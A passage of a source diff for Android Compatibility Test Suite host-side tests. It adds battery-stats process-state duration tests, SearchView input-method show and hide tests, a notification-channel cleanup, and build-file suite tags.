.setSmallIcon(android.R.drawable.ic_secure)
.build();
@@ -89,4 +109,13 @@
public IBinder onBind(Intent intent) {
return null;
}
+
+ @Override
+ public void onDestroy () {
+ if (mChannelCreated) {
+ NotificationManager notificationManager =
+ (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+ }
+ }
}
diff --git a/hostsidetests/incident/apps/boundwidgetapp/Android.mk b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
index e9c1555..152414f 100644
--- a/hostsidetests/incident/apps/boundwidgetapp/Android.mk
+++ b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/errorsapp/Android.mk b/hostsidetests/incident/apps/errorsapp/Android.mk
index d6db6f7..191e9b7 100644
--- a/hostsidetests/incident/apps/errorsapp/Android.mk
+++ b/hostsidetests/incident/apps/errorsapp/Android.mk
@@ -39,7 +39,7 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/errorsapp/jni/Android.mk b/hostsidetests/incident/apps/errorsapp/jni/Android.mk
index 7d3eb55..5101bf3 100644
--- a/hostsidetests/incident/apps/errorsapp/jni/Android.mk
+++ b/hostsidetests/incident/apps/errorsapp/jni/Android.mk
@@ -25,9 +25,6 @@
LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
LOCAL_SDK_VERSION := current
include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java
index 630df5c..1fe704a 100644
--- a/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java
+++ b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java
@@ -42,7 +42,7 @@
private static final String CRASH_TAG = "data_app_crash";
private static final String ANR_TAG = "data_app_anr";
- private static final String NATIVE_CRASH_TAG = "SYSTEM_TOMBSTONE";
+ private static final String NATIVE_CRASH_TAG = "data_app_native_crash";
private static final int TIMEOUT_SECS = 60 * 3;
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
index a32926b..c2812c0 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/hostsidetests/incident/apps/netstatsapp/Android.mk b/hostsidetests/incident/apps/netstatsapp/Android.mk
index 682ec73..83ae82f 100644
--- a/hostsidetests/incident/apps/netstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/netstatsapp/Android.mk
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/storagedapp/Android.mk b/hostsidetests/incident/apps/storagedapp/Android.mk
index b081410..3028716 100644
--- a/hostsidetests/incident/apps/storagedapp/Android.mk
+++ b/hostsidetests/incident/apps/storagedapp/Android.mk
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
index b04b2f3..668c826 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
@@ -48,7 +48,7 @@
assertTrue(scale > 0);
int level = dump.getLevel();
assertTrue(level >= 0 && level <= scale);
- assertTrue(dump.getVoltage() > 0);
+ assertTrue(dump.getVoltage() >= 0);
assertTrue(dump.getTemperature() > 0);
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index c841996..1fcbf91 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -20,7 +20,6 @@
import com.google.common.base.Charsets;
-import java.util.Arrays;
import java.util.Random;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
@@ -52,6 +51,18 @@
public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
public static final String FEATURE_WIFI = "android.hardware.wifi";
+ private static final int STATE_TIME_TOP_INDEX = 4;
+ private static final int STATE_TIME_FOREGROUND_SERVICE_INDEX = 5;
+ private static final int STATE_TIME_FOREGROUND_INDEX = 7;
+ private static final int STATE_TIME_BACKGROUND_INDEX = 8;
+ private static final int STATE_TIME_CACHED_INDEX = 9;
+
+ private static final long TIME_SPENT_IN_TOP = 2000;
+ private static final long TIME_SPENT_IN_FOREGROUND = 4000;
+ private static final long TIME_SPENT_IN_BACKGROUND = 2000;
+ private static final long TIME_SPENT_IN_CACHED = 4000;
+ private static final long SCREEN_STATE_CHANGE_TIMEOUT = 4000;
+ private static final long SCREEN_STATE_POLLING_INTERVAL = 500;
// Constants from BatteryStatsBgVsFgActions.java (not directly accessible here).
public static final String KEY_ACTION = "action";
@@ -61,6 +72,9 @@
public static final String ACTION_JOB_SCHEDULE = "action.jobs";
public static final String ACTION_SYNC = "action.sync";
public static final String ACTION_WIFI_SCAN = "action.wifi_scan";
+ public static final String ACTION_SLEEP_WHILE_BACKGROUND = "action.sleep_background";
+ public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
+ public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
public static final String KEY_REQUEST_CODE = "request_code";
public static final String BG_VS_FG_TAG = "BatteryStatsBgVsFgActions";
@@ -93,6 +107,13 @@
getDevice().executeShellCommand("wm dismiss-keyguard");
}
+ /**
+ * This will send the screen to sleep
+ */
+ protected void turnScreenOffForReal() throws Exception {
+ getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
+ }
+
protected void batteryOnScreenOn() throws Exception {
getDevice().executeShellCommand("dumpsys battery unplug");
getDevice().executeShellCommand("dumpsys batterystats disable pretend-screen-off");
@@ -146,21 +167,111 @@
batteryOffScreenOn();
}
+ private void startSimpleActivity() throws Exception {
+ getDevice().executeShellCommand(
+ "am start -n com.android.server.cts.device.batterystats/.SimpleActivity");
+ }
+
public void testServiceForegroundDuration() throws Exception {
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, true);
- getDevice().executeShellCommand(
- "am start -n com.android.server.cts.device.batterystats/.SimpleActivity");
- assertValueRange("st", "", 5, 0, 0); // No foreground service time before test
+ startSimpleActivity();
+ assertValueRange("st", "", STATE_TIME_FOREGROUND_SERVICE_INDEX, 0,
+ 0); // No foreground service time before test
final long startTime = System.nanoTime();
runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsProcessStateTests",
"testForegroundService");
- assertValueRange("st", "", 5, (long) (2000 * 0.8),
+ assertValueRange("st", "", STATE_TIME_FOREGROUND_SERVICE_INDEX, (long) (2000 * 0.8),
(System.nanoTime() - startTime) / 1000000);
batteryOffScreenOn();
}
+ public void testUidForegroundDuration() throws Exception {
+ batteryOnScreenOff();
+ installPackage(DEVICE_SIDE_TEST_APK, true);
+ // No foreground time before test
+ assertValueRange("st", "", STATE_TIME_FOREGROUND_INDEX, 0, 0);
+ turnScreenOnForReal();
+ assertScreenOn();
+ executeForeground(ACTION_SHOW_APPLICATION_OVERLAY, 2000);
+ Thread.sleep(TIME_SPENT_IN_FOREGROUND); // should be in foreground for about this long
+ assertApproximateTimeInState(STATE_TIME_FOREGROUND_INDEX, TIME_SPENT_IN_FOREGROUND);
+ batteryOffScreenOn();
+ }
+
+ public void testUidBackgroundDuration() throws Exception {
+ batteryOnScreenOff();
+ installPackage(DEVICE_SIDE_TEST_APK, true);
+ // No background time before test
+ assertValueRange("st", "", STATE_TIME_BACKGROUND_INDEX, 0, 0);
+ executeBackground(ACTION_SLEEP_WHILE_BACKGROUND, 4000);
+ assertApproximateTimeInState(STATE_TIME_BACKGROUND_INDEX, TIME_SPENT_IN_BACKGROUND);
+ batteryOffScreenOn();
+ }
+
+ public void testTopDuration() throws Exception {
+ batteryOnScreenOff();
+ installPackage(DEVICE_SIDE_TEST_APK, true);
+ // No top time before test
+ assertValueRange("st", "", STATE_TIME_TOP_INDEX, 0, 0);
+ turnScreenOnForReal();
+ assertScreenOn();
+ executeForeground(ACTION_SLEEP_WHILE_TOP, 4000);
+ assertApproximateTimeInState(STATE_TIME_TOP_INDEX, TIME_SPENT_IN_TOP);
+ batteryOffScreenOn();
+ }
+
+ public void testCachedDuration() throws Exception {
+ batteryOnScreenOff();
+ installPackage(DEVICE_SIDE_TEST_APK, true);
+ // No cached time before test
+ assertValueRange("st", "", STATE_TIME_CACHED_INDEX, 0, 0);
+ startSimpleActivity();
+ Thread.sleep(TIME_SPENT_IN_CACHED); // process should be in cached state for about this long
+ assertApproximateTimeInState(STATE_TIME_CACHED_INDEX, TIME_SPENT_IN_CACHED);
+ batteryOffScreenOn();
+ }
+
+ private void assertScreenOff() throws Exception {
+ final long deadLine = System.currentTimeMillis() + SCREEN_STATE_CHANGE_TIMEOUT;
+ boolean screenAwake = true;
+ do {
+ final String dumpsysPower = getDevice().executeShellCommand("dumpsys power").trim();
+ for (String line : dumpsysPower.split("\n")) {
+ if (line.contains("Display Power")) {
+ screenAwake = line.trim().endsWith("ON");
+ break;
+ }
+ }
+ Thread.sleep(SCREEN_STATE_POLLING_INTERVAL);
+ } while (screenAwake && System.currentTimeMillis() < deadLine);
+ assertFalse("Screen could not be turned off", screenAwake);
+ }
+
+ private void assertScreenOn() throws Exception {
+ // this also checks that the keyguard is dismissed
+ final long deadLine = System.currentTimeMillis() + SCREEN_STATE_CHANGE_TIMEOUT;
+ boolean screenAwake;
+ do {
+ final String dumpsysWindowPolicy =
+ getDevice().executeShellCommand("dumpsys window policy").trim();
+ boolean keyguardStateLines = false;
+ screenAwake = true;
+ for (String line : dumpsysWindowPolicy.split("\n")) {
+ if (line.contains("KeyguardServiceDelegate")) {
+ keyguardStateLines = true;
+ } else if (keyguardStateLines && line.contains("showing=")) {
+ screenAwake &= line.trim().endsWith("false");
+ } else if (keyguardStateLines && line.contains("screenState=")) {
+ screenAwake &= line.trim().endsWith("2");
+ }
+ }
+ Thread.sleep(SCREEN_STATE_POLLING_INTERVAL);
+ } while (!screenAwake && System.currentTimeMillis() < deadLine);
+ assertTrue("Screen could not be turned on", screenAwake);
+ }
+
public void testBleScans() throws Exception {
if (isTV() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
return;
@@ -402,6 +513,10 @@
return uid;
}
+ private void assertApproximateTimeInState(int index, long duration) throws Exception {
+ assertValueRange("st", "", index, (long) (0.8 * duration), 2 * duration);
+ }
+
/**
* Verifies that the recorded time for the specified tag and name in the test package
* is within the specified range.
@@ -410,7 +525,6 @@
int index, long min, long max) throws Exception {
int uid = getUid();
long value = getLongValue(uid, tag, optionalAfterTag, index);
-
assertTrue("Value " + value + " is less than min " + min, value >= min);
assertTrue("Value " + value + " is greater than max " + max, value <= max);
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index b2cef0a..2e04e80 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -24,8 +24,6 @@
import java.util.Date;
import java.util.List;
-import com.android.compatibility.common.util.CddTest;
-
public class GraphicsStatsValidationTest extends ProtoDumpTestCase {
private static final String TAG = "GraphicsStatsValidationTest";
@@ -50,7 +48,6 @@
killTestApp();
}
- @CddTest(requirement="8.1/C-0-1/T-0-1")
public void testBasicDrawFrame() throws Exception {
GraphicsStatsProto[] results = runDrawTest("testDrawTenFrames");
GraphicsStatsProto statsBefore = results[0];
diff --git a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
index f961f6e..5739bf4 100644
--- a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
+++ b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
@@ -32,7 +32,7 @@
import com.android.tradefed.testtype.IBuildReceiver;
import com.google.protobuf.InvalidProtocolBufferException;
-import com.google.protobuf.Message;
+import com.google.protobuf.MessageLite;
import com.google.protobuf.Parser;
import java.io.FileNotFoundException;
@@ -73,7 +73,7 @@
* @throws InvalidProtocolBufferException If there was an error parsing
* the proto. Note that a 0 length buffer is not necessarily an error.
*/
- public <T extends Message> T getDump(Parser<T> parser, String command)
+ public <T extends MessageLite> T getDump(Parser<T> parser, String command)
throws DeviceNotAvailableException, InvalidProtocolBufferException {
final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
getDevice().executeShellCommand(command, receiver);
diff --git a/hostsidetests/inputmethodservice/common/Android.mk b/hostsidetests/inputmethodservice/common/Android.mk
index 83bc34d..0e50a9c 100644
--- a/hostsidetests/inputmethodservice/common/Android.mk
+++ b/hostsidetests/inputmethodservice/common/Android.mk
@@ -26,7 +26,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsInputMethodServiceCommon
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
index 1f694d2..307693a 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
@@ -50,6 +50,12 @@
public static final String EXTRA_EVENT_SENDER = "event_sender";
/**
+ * Intent extra key for Event parameters like
+ * {@link DeviceEventTypeParam#ON_START_INPUT_RESTARTING}
+ */
+ public static final String EXTRA_EVENT_PARAMS = "event_params";
+
+ /**
* Intent extra key for what type a device event is. Values are {@link DeviceEventType#name()}.
*
* @see android.content.Intent#putExtra(String,String)
@@ -67,6 +73,29 @@
public static final String EXTRA_EVENT_TIME = "event_time";
/**
+ * Parameter for {@link DeviceEventType}.
+ */
+ public enum DeviceEventTypeParam {
+
+ /**
+ * Param for {@link DeviceEventType#ON_START_INPUT}. Represents if IME is restarting.
+ */
+ ON_START_INPUT_RESTARTING(DeviceEventType.ON_START_INPUT, "onStartInput.restarting");
+
+ private final DeviceEventType mType;
+ private final String mName;
+
+ DeviceEventTypeParam(DeviceEventType type, String name) {
+ mType = type;
+ mName = name;
+ }
+
+ public String getName() {
+ return mName;
+ }
+ }
+
+ /**
* Types of device event, a value of {@link #EXTRA_EVENT_TYPE}.
*/
public enum DeviceEventType {
@@ -106,5 +135,15 @@
/** Test start and end event types. */
TEST_START,
TEST_END,
+
+ /**
+ * {@link android.view.inputmethod.InputMethod#showSoftInput}
+ */
+ SHOW_SOFT_INPUT,
+
+ /**
+ * {@link android.view.inputmethod.InputMethod#hideSoftInput}
+ */
+ HIDE_SOFT_INPUT,
}
}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java
index 172e1a7..9288051 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java
@@ -58,6 +58,9 @@
// This is constants holding class, can't instantiate.
private EventTableConstants() {}
+ /** Column name of the table that holds Event extras in json format. */
+ public static final String EXTRAS = "extras";
+
/** Name of the table in content provider and database. */
public static final String NAME = "events";
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
index 6afd337..ad48a46 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
@@ -43,4 +43,8 @@
public static final String TEST_CREATE_IME1 = "testCreateIme1";
public static final String TEST_SWITCH_IME1_TO_IME2 = "testSwitchIme1ToIme2";
public static final String TEST_IME1_IS_NOT_CURRENT_IME = "testIme1IsNotCurrentIme";
+ public static final String TEST_SEARCH_VIEW_GIVE_FOCUS_SHOW_IME1
+ = "testSearchView_giveFocusShowIme1";
+ public static final String TEST_SEARCH_VIEW_SET_QUERY_HIDE_IME1
+ = "testSearchView_setQueryHideIme1";
}
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
index d4786bc..db742bf 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
@@ -36,7 +36,7 @@
CtsInputMethodServiceLib
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsInputMethodServiceDeviceTests
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml b/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml
index 94ba557..f0efb94 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml
@@ -25,5 +25,14 @@
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:background="@android:drawable/editbox_background"/>
+ <SearchView
+ android:id="@+id/search_view"
+ android:layout_below="@id/text_entry"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:iconifiedByDefault="false"
+ android:queryHint="hint"
+ android:inputType="textCapCharacters"
+ android:imeOptions="actionDone" />
</RelativeLayout>
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index f4c0698..feb8b5f 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -16,12 +16,19 @@
package android.inputmethodservice.cts.devicetest;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
import static android.inputmethodservice.cts.DeviceEvent.isFrom;
import static android.inputmethodservice.cts.DeviceEvent.isNewerThan;
import static android.inputmethodservice.cts.DeviceEvent.isType;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.HIDE_SOFT_INPUT;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_CREATE;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_DESTROY;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_FINISH_INPUT;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_START_INPUT;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.SHOW_SOFT_INPUT;
import static android.inputmethodservice.cts.common.ImeCommandConstants.ACTION_IME_COMMAND;
import static android.inputmethodservice.cts.common.ImeCommandConstants.COMMAND_SWITCH_INPUT_METHOD;
import static android.inputmethodservice.cts.common.ImeCommandConstants.EXTRA_ARG_STRING1;
@@ -29,24 +36,29 @@
import static android.inputmethodservice.cts.devicetest.BusyWaitUtils.pollingCheck;
import static android.inputmethodservice.cts.devicetest.MoreCollectors.startingFrom;
+import android.app.Activity;
import android.inputmethodservice.cts.DeviceEvent;
import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
+import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventTypeParam;
import android.inputmethodservice.cts.common.Ime1Constants;
import android.inputmethodservice.cts.common.Ime2Constants;
import android.inputmethodservice.cts.common.test.DeviceTestConstants;
import android.inputmethodservice.cts.common.test.ShellCommandUtils;
import android.inputmethodservice.cts.devicetest.SequenceMatcher.MatchResult;
import android.os.SystemClock;
+import android.widget.SearchView;
import android.support.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.Arrays;
+import java.util.List;
import java.util.concurrent.TimeUnit;
import java.util.function.IntFunction;
import java.util.function.Predicate;
import java.util.stream.Collector;
+import java.util.stream.Collectors;
@RunWith(AndroidJUnit4.class)
public class InputMethodServiceDeviceTest {
@@ -136,6 +148,50 @@
"CtsInputMethod1 is uninstalled or disabled, and current IME becomes other IME");
}
+ @Test
+ public void testSearchView_giveFocusShowIme1() throws Throwable {
+ final TestHelper helper = new TestHelper(
+ getClass(), DeviceTestConstants.TEST_SEARCH_VIEW_GIVE_FOCUS_SHOW_IME1);
+
+ helper.launchActivity(DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
+ helper.findUiObject(R.id.search_view).click();
+ pollingCheck(() -> helper.queryAllEvents()
+ .collect(startingFrom(helper.isStartOfTest()))
+ .filter(isFrom(Ime1Constants.CLASS).and(isType(SHOW_SOFT_INPUT)))
+ .findAny().isPresent(),
+ TIMEOUT, "CtsInputMethod1.showSoftInput is called");
+ pollingCheck(() -> helper.queryAllEvents()
+ .collect(startingFrom(helper.isStartOfTest()))
+ .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
+ .findAny().isPresent(),
+ TIMEOUT, "CtsInputMethod1.onStartInput is called");
+ }
+
+ @Test
+ public void testSearchView_setQueryHideIme1() throws Throwable {
+ final TestHelper helper = new TestHelper(
+ getClass(), DeviceTestConstants.TEST_SEARCH_VIEW_SET_QUERY_HIDE_IME1);
+
+ final Activity activity = helper.launchActivitySync(
+ DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
+ final SearchView searchView = (SearchView) activity.findViewById(R.id.search_view);
+ helper.findUiObject(R.id.search_view).click();
+ // test SearchView.onSubmitQuery() closes IME. Alternatively, onCloseClicked() closes IME.
+ // submits the query, should dismiss the inputMethod.
+ activity.runOnUiThread(() -> searchView.setQuery("test", true /* submit */));
+
+ pollingCheck(() -> helper.queryAllEvents()
+ .collect(startingFrom(helper.isStartOfTest()))
+ .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_FINISH_INPUT)))
+ .findAny().isPresent(),
+ TIMEOUT, "CtsInputMethod1.onFinishInput is called");
+ pollingCheck(() -> helper.queryAllEvents()
+ .collect(startingFrom(helper.isStartOfTest()))
+ .filter(isFrom(Ime1Constants.CLASS).and(isType(HIDE_SOFT_INPUT)))
+ .findAny().isPresent(),
+ TIMEOUT, "CtsInputMethod1.hideSoftInput is called");
+ }
+
/**
* Build stream collector of {@link DeviceEvent} collecting sequence that elements have
* specified types.
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
index a4b1aae..7f6ba2e 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
@@ -20,9 +20,12 @@
import static android.inputmethodservice.cts.DeviceEvent.isType;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.TEST_START;
+import android.app.Instrumentation;
+import android.app.Activity;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
+import android.content.res.Resources;
import android.database.Cursor;
import android.inputmethodservice.cts.DeviceEvent;
import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
@@ -54,6 +57,7 @@
private final ContentResolver mResolver;
private final Context mTargetContext;
private final UiDevice mUiDevice;
+ private final Instrumentation mInstrumentation;
/**
* Construct a helper object of specified test method.
@@ -66,7 +70,8 @@
mTestInfo = new TestInfo(testContext.getPackageName(), testClass.getName(), testMethod);
mResolver = testContext.getContentResolver();
mTargetContext = InstrumentationRegistry.getTargetContext();
- mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mUiDevice = UiDevice.getInstance(mInstrumentation);
}
/**
@@ -105,6 +110,22 @@
}
/**
+ * Launch test activity synchronously.
+ *
+ * @param packageName activity's app package name.
+ * @param className activity's class name.
+ * @return instance of Activity
+ */
+ Activity launchActivitySync(final String packageName, final String className) {
+ final Intent intent = new Intent()
+ .setAction(Intent.ACTION_MAIN)
+ .setClassName(packageName, className)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ return mInstrumentation.startActivitySync(intent);
+ }
+
+ /**
* Return all device events as {@link Stream}
* @return {@link Stream<DeviceEvent>} of all device events.
*/
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
index fe67791..6a74124 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
@@ -32,7 +32,7 @@
CtsInputMethodServiceLib
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsInputMethod1
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
index cf9cb37..a371c83 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
@@ -32,7 +32,7 @@
CtsInputMethodServiceLib
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsInputMethod2
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk b/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
index 0223d0d..9fdcec6 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
@@ -19,12 +19,13 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_STATIC_JAVA_LIBRARIES := \
android-support-annotations \
+ json \
CtsInputMethodServiceCommon
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsInputMethodServiceLib
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
index b6098f9..ff412ef 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
@@ -17,17 +17,20 @@
package android.inputmethodservice.cts;
import static android.inputmethodservice.cts.common.DeviceEventConstants.ACTION_DEVICE_EVENT;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_PARAMS;
import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_TIME;
import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_TYPE;
import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_SENDER;
import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_CLASS;
import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_PACKAGE;
+
import android.content.ContentValues;
import android.content.Intent;
import android.database.Cursor;
